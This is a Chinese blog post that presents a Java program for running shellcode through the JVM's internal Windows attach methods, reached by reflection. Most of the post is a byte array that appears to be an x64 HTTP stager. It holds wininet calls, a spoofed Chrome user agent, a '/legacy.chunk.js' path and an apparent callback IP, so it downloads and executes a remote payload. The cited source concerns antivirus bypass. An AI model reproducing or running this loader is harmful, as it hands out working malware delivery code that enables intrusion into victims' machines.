JVM加载shellcode

2022-12-08

1. 前言

突然想起了前几天听过的JVM加载shellcode的方法，找了段代码测试下。不过这里需要注意下jdk的版本问题，jdk11没有需要的jar包

这里是我用的jdk版本

1
2
3

java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

这个tools.jar包是必须的，在jdk1.8的安装路径的lib目录下就有，可以直接导入使用。

2. 代码

import java.lang.reflect.Method;

public class loader {
    public static void main(String[] args) throws Exception {
        byte[] shellcode = new byte[]{(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8,
                (byte) 0xc8, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41,
                (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2,
                (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b,
                (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48,
                (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a,
                (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20,
                (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b,
                (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01,
                (byte) 0xd0, (byte) 0x66, (byte) 0x81, (byte) 0x78, (byte) 0x18, (byte) 0x0b, (byte) 0x02,
                (byte) 0x75, (byte) 0x72, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00,
                (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48,
                (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3,
                (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34,
                (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9,
                (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9,
                (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75,
                (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45,
                (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b,
                (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c,
                (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88,
                (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58,
                (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59,
                (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41,
                (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a,
                (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x4f, (byte) 0xff, (byte) 0xff,
                (byte) 0xff, (byte) 0x5d, (byte) 0x6a, (byte) 0x00, (byte) 0x49, (byte) 0xbe, (byte) 0x77,
                (byte) 0x69, (byte) 0x6e, (byte) 0x69, (byte) 0x6e, (byte) 0x65, (byte) 0x74, (byte) 0x00,
                (byte) 0x41, (byte) 0x56, (byte) 0x49, (byte) 0x89, (byte) 0xe6, (byte) 0x4c, (byte) 0x89,
                (byte) 0xf1, (byte) 0x41, (byte) 0xba, (byte) 0x4c, (byte) 0x77, (byte) 0x26, (byte) 0x07,
                (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31,
                (byte) 0xd2, (byte) 0x4d, (byte) 0x31, (byte) 0xc0, (byte) 0x4d, (byte) 0x31, (byte) 0xc9,
                (byte) 0x41, (byte) 0x50, (byte) 0x41, (byte) 0x50, (byte) 0x41, (byte) 0xba, (byte) 0x3a,
                (byte) 0x56, (byte) 0x79, (byte) 0xa7, (byte) 0xff, (byte) 0xd5, (byte) 0xeb, (byte) 0x73,
                (byte) 0x5a, (byte) 0x48, (byte) 0x89, (byte) 0xc1, (byte) 0x41, (byte) 0xb8, (byte) 0x69,
                (byte) 0x42, (byte) 0x00, (byte) 0x00, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x41,
                (byte) 0x51, (byte) 0x41, (byte) 0x51, (byte) 0x6a, (byte) 0x03, (byte) 0x41, (byte) 0x51,
                (byte) 0x41, (byte) 0xba, (byte) 0x57, (byte) 0x89, (byte) 0x9f, (byte) 0xc6, (byte) 0xff,
                (byte) 0xd5, (byte) 0xeb, (byte) 0x59, (byte) 0x5b, (byte) 0x48, (byte) 0x89, (byte) 0xc1,
                (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x49, (byte) 0x89, (byte) 0xd8, (byte) 0x4d,
                (byte) 0x31, (byte) 0xc9, (byte) 0x52, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x40,
                (byte) 0x84, (byte) 0x52, (byte) 0x52, (byte) 0x41, (byte) 0xba, (byte) 0xeb, (byte) 0x55,
                (byte) 0x2e, (byte) 0x3b, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x89, (byte) 0xc6,
                (byte) 0x48, (byte) 0x83, (byte) 0xc3, (byte) 0x50, (byte) 0x6a, (byte) 0x0a, (byte) 0x5f,
                (byte) 0x48, (byte) 0x89, (byte) 0xf1, (byte) 0x48, (byte) 0x89, (byte) 0xda, (byte) 0x49,
                (byte) 0xc7, (byte) 0xc0, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x4d,
                (byte) 0x31, (byte) 0xc9, (byte) 0x52, (byte) 0x52, (byte) 0x41, (byte) 0xba, (byte) 0x2d,
                (byte) 0x06, (byte) 0x18, (byte) 0x7b, (byte) 0xff, (byte) 0xd5, (byte) 0x85, (byte) 0xc0,
                (byte) 0x0f, (byte) 0x85, (byte) 0x9d, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x48,
                (byte) 0xff, (byte) 0xcf, (byte) 0x0f, (byte) 0x84, (byte) 0x8c, (byte) 0x01, (byte) 0x00,
                (byte) 0x00, (byte) 0xeb, (byte) 0xd3, (byte) 0xe9, (byte) 0xe4, (byte) 0x01, (byte) 0x00,
                (byte) 0x00, (byte) 0xe8, (byte) 0xa2, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x2f,
                (byte) 0x6c, (byte) 0x65, (byte) 0x67, (byte) 0x61, (byte) 0x63, (byte) 0x79, (byte) 0x2e,
                (byte) 0x63, (byte) 0x68, (byte) 0x75, (byte) 0x6e, (byte) 0x6b, (byte) 0x2e, (byte) 0x6a,
                (byte) 0x73, (byte) 0x00, (byte) 0x95, (byte) 0x11, (byte) 0xe0, (byte) 0xf9, (byte) 0xbf,
                (byte) 0xec, (byte) 0xca, (byte) 0xd0, (byte) 0x2b, (byte) 0xc0, (byte) 0x7b, (byte) 0x85,
                (byte) 0x7e, (byte) 0xea, (byte) 0x58, (byte) 0x61, (byte) 0x9c, (byte) 0x86, (byte) 0x20,
                (byte) 0x57, (byte) 0x8e, (byte) 0x6c, (byte) 0xb7, (byte) 0x72, (byte) 0xc7, (byte) 0xc5,
                (byte) 0x8a, (byte) 0xad, (byte) 0x0c, (byte) 0x56, (byte) 0xa9, (byte) 0x73, (byte) 0x48,
                (byte) 0x31, (byte) 0x45, (byte) 0x15, (byte) 0xbf, (byte) 0xdd, (byte) 0xa9, (byte) 0x8e,
                (byte) 0x3e, (byte) 0x38, (byte) 0x42, (byte) 0x11, (byte) 0x59, (byte) 0x72, (byte) 0x29,
                (byte) 0xf2, (byte) 0x6b, (byte) 0x01, (byte) 0x51, (byte) 0xb0, (byte) 0x05, (byte) 0xbf,
                (byte) 0x2a, (byte) 0x0d, (byte) 0x36, (byte) 0x08, (byte) 0x5d, (byte) 0x46, (byte) 0x5f,
                (byte) 0xac, (byte) 0x00, (byte) 0x55, (byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x2d,
                (byte) 0x41, (byte) 0x67, (byte) 0x65, (byte) 0x6e, (byte) 0x74, (byte) 0x3a, (byte) 0x20,
                (byte) 0x4d, (byte) 0x6f, (byte) 0x7a, (byte) 0x69, (byte) 0x6c, (byte) 0x6c, (byte) 0x61,
                (byte) 0x2f, (byte) 0x35, (byte) 0x2e, (byte) 0x30, (byte) 0x20, (byte) 0x28, (byte) 0x57,
                (byte) 0x69, (byte) 0x6e, (byte) 0x64, (byte) 0x6f, (byte) 0x77, (byte) 0x73, (byte) 0x20,
                (byte) 0x4e, (byte) 0x54, (byte) 0x20, (byte) 0x31, (byte) 0x30, (byte) 0x2e, (byte) 0x30,
                (byte) 0x3b, (byte) 0x20, (byte) 0x57, (byte) 0x69, (byte) 0x6e, (byte) 0x36, (byte) 0x34,
                (byte) 0x3b, (byte) 0x20, (byte) 0x78, (byte) 0x36, (byte) 0x34, (byte) 0x29, (byte) 0x20,
                (byte) 0x41, (byte) 0x70, (byte) 0x70, (byte) 0x6c, (byte) 0x65, (byte) 0x57, (byte) 0x65,
                (byte) 0x62, (byte) 0x4b, (byte) 0x69, (byte) 0x74, (byte) 0x2f, (byte) 0x35, (byte) 0x33,
                (byte) 0x37, (byte) 0x2e, (byte) 0x33, (byte) 0x36, (byte) 0x20, (byte) 0x28, (byte) 0x4b,
                (byte) 0x48, (byte) 0x54, (byte) 0x4d, (byte) 0x4c, (byte) 0x2c, (byte) 0x20, (byte) 0x6c,
                (byte) 0x69, (byte) 0x6b, (byte) 0x65, (byte) 0x20, (byte) 0x47, (byte) 0x65, (byte) 0x63,
                (byte) 0x6b, (byte) 0x6f, (byte) 0x29, (byte) 0x20, (byte) 0x43, (byte) 0x68, (byte) 0x72,
                (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2f, (byte) 0x39, (byte) 0x30, (byte) 0x2e,
                (byte) 0x30, (byte) 0x2e, (byte) 0x34, (byte) 0x34, (byte) 0x33, (byte) 0x30, (byte) 0x2e,
                (byte) 0x32, (byte) 0x31, (byte) 0x32, (byte) 0x20, (byte) 0x53, (byte) 0x61, (byte) 0x66,
                (byte) 0x61, (byte) 0x72, (byte) 0x69, (byte) 0x2f, (byte) 0x35, (byte) 0x33, (byte) 0x37,
                (byte) 0x2e, (byte) 0x33, (byte) 0x36, (byte) 0x0d, (byte) 0x0a, (byte) 0x00, (byte) 0xc3,
                (byte) 0x69, (byte) 0x8e, (byte) 0xb1, (byte) 0x0d, (byte) 0x63, (byte) 0x4e, (byte) 0x8b,
                (byte) 0x2b, (byte) 0x2f, (byte) 0x2a, (byte) 0x56, (byte) 0xb4, (byte) 0x3b, (byte) 0x2e,
                (byte) 0xea, (byte) 0xe8, (byte) 0x18, (byte) 0x0f, (byte) 0x21, (byte) 0x08, (byte) 0x49,
                (byte) 0x9d, (byte) 0xeb, (byte) 0xf3, (byte) 0xa1, (byte) 0x5d, (byte) 0xda, (byte) 0x46,
                (byte) 0xa6, (byte) 0x7f, (byte) 0x28, (byte) 0xdf, (byte) 0x68, (byte) 0x01, (byte) 0xe0,
                (byte) 0x8d, (byte) 0xc0, (byte) 0x1c, (byte) 0x2a, (byte) 0xa5, (byte) 0x8e, (byte) 0xde,
                (byte) 0xda, (byte) 0x68, (byte) 0x4f, (byte) 0x51, (byte) 0x6d, (byte) 0xa6, (byte) 0x57,
                (byte) 0x43, (byte) 0x33, (byte) 0xfd, (byte) 0xf2, (byte) 0xf7, (byte) 0x60, (byte) 0x59,
                (byte) 0x7b, (byte) 0x0e, (byte) 0x7f, (byte) 0x70, (byte) 0xee, (byte) 0x3b, (byte) 0xf8,
                (byte) 0x06, (byte) 0xd5, (byte) 0x95, (byte) 0x40, (byte) 0x64, (byte) 0xcd, (byte) 0x5f,
                (byte) 0x45, (byte) 0x62, (byte) 0x75, (byte) 0x43, (byte) 0xe9, (byte) 0xc6, (byte) 0xc5,
                (byte) 0x94, (byte) 0xd4, (byte) 0xfc, (byte) 0xb1, (byte) 0x8f, (byte) 0x86, (byte) 0xfb,
                (byte) 0xde, (byte) 0x34, (byte) 0x3e, (byte) 0x24, (byte) 0x99, (byte) 0xdc, (byte) 0x90,
                (byte) 0x79, (byte) 0x6b, (byte) 0xcd, (byte) 0xac, (byte) 0xc3, (byte) 0x1f, (byte) 0xa9,
                (byte) 0x1a, (byte) 0x38, (byte) 0xe3, (byte) 0x79, (byte) 0x00, (byte) 0x6d, (byte) 0x8a,
                (byte) 0x27, (byte) 0x2f, (byte) 0xae, (byte) 0xb8, (byte) 0x0f, (byte) 0xb9, (byte) 0x05,
                (byte) 0x97, (byte) 0xfc, (byte) 0x36, (byte) 0xcf, (byte) 0x0c, (byte) 0xf6, (byte) 0xc7,
                (byte) 0xef, (byte) 0x54, (byte) 0x70, (byte) 0xf9, (byte) 0x1a, (byte) 0xb9, (byte) 0x7f,
                (byte) 0x2a, (byte) 0x57, (byte) 0x73, (byte) 0x9b, (byte) 0xec, (byte) 0xf1, (byte) 0x46,
                (byte) 0x1f, (byte) 0x45, (byte) 0xf4, (byte) 0x76, (byte) 0x21, (byte) 0xe8, (byte) 0x0b,
                (byte) 0xc7, (byte) 0x81, (byte) 0x64, (byte) 0x43, (byte) 0xa6, (byte) 0xf2, (byte) 0xb6,
                (byte) 0xf9, (byte) 0x64, (byte) 0x08, (byte) 0x77, (byte) 0xaa, (byte) 0xb9, (byte) 0x67,
                (byte) 0x70, (byte) 0x13, (byte) 0x5e, (byte) 0x1e, (byte) 0x3e, (byte) 0xbe, (byte) 0xb9,
                (byte) 0xc1, (byte) 0x08, (byte) 0x80, (byte) 0x23, (byte) 0x4b, (byte) 0x75, (byte) 0xfe,
                (byte) 0xdb, (byte) 0x15, (byte) 0x47, (byte) 0xa9, (byte) 0x00, (byte) 0x41, (byte) 0xbe,
                (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0xff, (byte) 0xd5, (byte) 0x48,
                (byte) 0x31, (byte) 0xc9, (byte) 0xba, (byte) 0x00, (byte) 0x00, (byte) 0x40, (byte) 0x00,
                (byte) 0x41, (byte) 0xb8, (byte) 0x00, (byte) 0x10, (byte) 0x00, (byte) 0x00, (byte) 0x41,
                (byte) 0xb9, (byte) 0x40, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba,
                (byte) 0x58, (byte) 0xa4, (byte) 0x53, (byte) 0xe5, (byte) 0xff, (byte) 0xd5, (byte) 0x48,
                (byte) 0x93, (byte) 0x53, (byte) 0x53, (byte) 0x48, (byte) 0x89, (byte) 0xe7, (byte) 0x48,
                (byte) 0x89, (byte) 0xf1, (byte) 0x48, (byte) 0x89, (byte) 0xda, (byte) 0x41, (byte) 0xb8,
                (byte) 0x00, (byte) 0x20, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xf9,
                (byte) 0x41, (byte) 0xba, (byte) 0x12, (byte) 0x96, (byte) 0x89, (byte) 0xe2, (byte) 0xff,
                (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x20, (byte) 0x85, (byte) 0xc0,
                (byte) 0x74, (byte) 0xb6, (byte) 0x66, (byte) 0x8b, (byte) 0x07, (byte) 0x48, (byte) 0x01,
                (byte) 0xc3, (byte) 0x85, (byte) 0xc0, (byte) 0x75, (byte) 0xd7, (byte) 0x58, (byte) 0x58,
                (byte) 0x58, (byte) 0x48, (byte) 0x05, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
                (byte) 0x50, (byte) 0xc3, (byte) 0xe8, (byte) 0x9f, (byte) 0xfd, (byte) 0xff, (byte) 0xff,
                (byte) 0x31, (byte) 0x30, (byte) 0x2e, (byte) 0x33, (byte) 0x30, (byte) 0x2e, (byte) 0x37,
                (byte) 0x2e, (byte) 0x33, (byte) 0x37, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x86, (byte) 0xa0};
        //存放shellcode数组
        Class CST_AV = Class.forName("sun.tools.attach.WindowsVirtualMachine");
        //通过反射的方式取得类
        Method openProcess = CST_AV.getDeclaredMethod("openProcess", int.class);
        //这里需要用getDeclaredMethod方法
        //getDeclaredMethod可以取得类自身的所有方法，只用getMethod是拿不到native方法的
        openProcess.setAccessible(true);
        //关闭安全检查，这样可以调用native实现的方法
//        long hProcess = (long)openProcess.invoke(CST_AV, 50048);
        long hProcess = -1;
        //指定要注入进程的pid
        Method enqueue = CST_AV.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class,
                Object[].class);
        //同样的找到enqueue方法
        enqueue.setAccessible(true);
        //同上
        Object[] params = new Object[]{};
        //这里不需要参数所以定义一个空的数组
        enqueue.invoke(CST_AV, hProcess, shellcode, null, null, params);
        //执行shellcode
    }
}

3. 效果

4. 参考链接

1	https://macchiato.ink/hst/bypassav/JVMShellcodeLoader/

本文作者： foxcookie
发布时间： 2022-12-08
最后更新： 2023-02-12
本文标题： JVM加载shellcode
本文链接： https://foxcookie.github.io/2022/12/08/JVM加载shellcode/
版权声明： 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处！